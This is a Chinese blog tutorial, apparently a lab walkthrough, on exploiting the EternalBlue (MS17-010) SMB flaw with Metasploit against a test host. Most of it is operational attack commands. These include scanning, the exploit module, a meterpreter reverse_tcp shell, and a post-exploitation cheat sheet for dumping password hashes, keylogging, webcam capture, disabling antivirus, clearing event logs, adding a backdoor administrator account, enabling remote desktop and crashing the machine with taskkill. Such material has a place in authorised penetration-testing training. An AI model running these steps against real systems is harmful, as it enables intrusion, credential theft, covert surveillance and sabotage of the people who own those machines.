永恒之蓝漏洞 ms17_010 详解

文章目录

永恒之蓝 ms 17_010

1.漏洞介绍

永恒之蓝(ms17-010)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造"永恒之蓝"制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

1.1 影响版本

目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

1.2 漏洞原理

通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出,最终导致任意命令的执行。在Windows操作系统中,SMB服务默认是开启的,监听端口默认为445,因此该漏洞造成的影响极大。

2.信息收集

2.1 主机扫描

sh 复制代码
arp-scan -l

2.2 端口扫描

sh 复制代码
nmap -O -sS -T4 192.168.160.52

说明:

  • -O:这个选项告诉Nmap进行操作系统识别。它会尝试通过分析目标主机的网络行为和响应来猜测其运行的操作系统类型。
  • -sS:这个选项启用了TCP SYN扫描(也称为半开放扫描)。在进行端口扫描时,Nmap发送一个TCP SYN包到目标主机上的每个目标端口,如果收到了一个SYN/ACK响应,说明该端口是打开的。
  • -T4:这个选项设置了扫描的速度/时间模板。T4是Nmap的默认设置之一,表示较高的扫描速度和更少的等待时间。

3. 漏洞探测

sh 复制代码
msfconsole
# 搜寻模块
search ms17-010
sh 复制代码
# 使用第三个模块
use 3
# 查看该漏洞模块的具体介绍信息
info
sh 复制代码
show missing # 查看需要配置哪些信息

这里需要配置远程主机的IP地址,也就是靶机的IP地址。

sh 复制代码
set rhosts 192.168.160.52

使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写。

sh 复制代码
show options 

开始攻击:

sh 复制代码
run

显示该主机很可能能够会受到永恒之蓝漏洞的攻击。

4. 漏洞利用

sh 复制代码
search ms17-010

设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell。

set payload windows/x64/meterpreter/reverse_tcp

设置攻击目标

sh 复制代码
set rhosts 192.168.160.52
run

拿下该主机的shell,执行cmd命令。

在这里可以进行文件上传下载,获取截屏,获取密码,使用摄像头拍照,后门持久化等操作。

5.后渗透阶段

运行了run(exploit)命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。

sh 复制代码
在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run				             #使用扩展库
clearev                       #清除日志

示例:

查看主机系统信息

sh 复制代码
sysinfo

查看IP地址信息:

ipconfig

查看用户身份

sh 复制代码
getuid

获得shell控制台

sh 复制代码
shell

如果乱码受不了的话,输入:chcp 65001 即可:

下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

sh 复制代码
run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash

示例:

获取用户密码

sh 复制代码
run windows/gather/smart_hashdump 或者 hashdump
5.1创建新的管理员账户

进入shell控制台

在目标主机上创建一个名为ghui的用户,密码为123456

将ghui加入到windows 7的本地管理员组中,以便获得更大权限

sh 复制代码
net localgroup administrators ghui /add

查看本地用户

sh 复制代码
net user

查看本地管理员

sh 复制代码
net localgroup administrators

可以看到ghui已经被添加到windows管理员组中。

5.2开启远程桌面

运用getuid脚本开启目标主机远程桌面:

sh 复制代码
run getgui -e或者run post/windows/manage/enable_rdp

在kali终端输入

sh 复制代码
rdesktop 192.168.160.52

选择其他用户:

登录之前创建得ghui用户,密码123456:

5.3蓝屏攻击

最后一步,让它蓝屏:

sh 复制代码
taskkill /f /fi "pid ne 1"

解释:

taskkill 用于终止运行中的进程,表示杀进程。
/f 是一个参数,表示强制终止进程。
/fi 是一个参数,用于指定进程过滤器(filter)。
"pid ne 1" 是一个过滤器表达式,用于筛选进程。在这个例子中,pid 代表进程的 ID(PID),ne 表示不等于,1 是要排除的进程 ID。换句话说,这个命令会终止除了进程 ID 为 1(通常是系统进程)之外的所有进程。

执行结果:

相关推荐
龙哥说跨境33 分钟前
如何利用指纹浏览器爬虫绕过Cloudflare的防护?
服务器·网络·python·网络爬虫
AltmanChan33 分钟前
大语言模型安全威胁
人工智能·安全·语言模型
马船长44 分钟前
红帆OA iorepsavexml.aspx文件上传漏洞
安全
懒大王就是我1 小时前
C语言网络编程 -- TCP/iP协议
c语言·网络·tcp/ip
Elaine2023911 小时前
06 网络编程基础
java·网络
海绵波波1072 小时前
Webserver(4.3)TCP通信实现
服务器·网络·tcp/ip
热爱跑步的恒川5 小时前
【论文复现】基于图卷积网络的轻量化推荐模型
网络·人工智能·开源·aigc·ai编程
云飞云共享云桌面6 小时前
8位机械工程师如何共享一台图形工作站算力?
linux·服务器·网络
hikktn8 小时前
如何在 Rust 中实现内存安全:与 C/C++ 的对比分析
c语言·安全·rust
音徽编程8 小时前
Rust异步运行时框架tokio保姆级教程
开发语言·网络·rust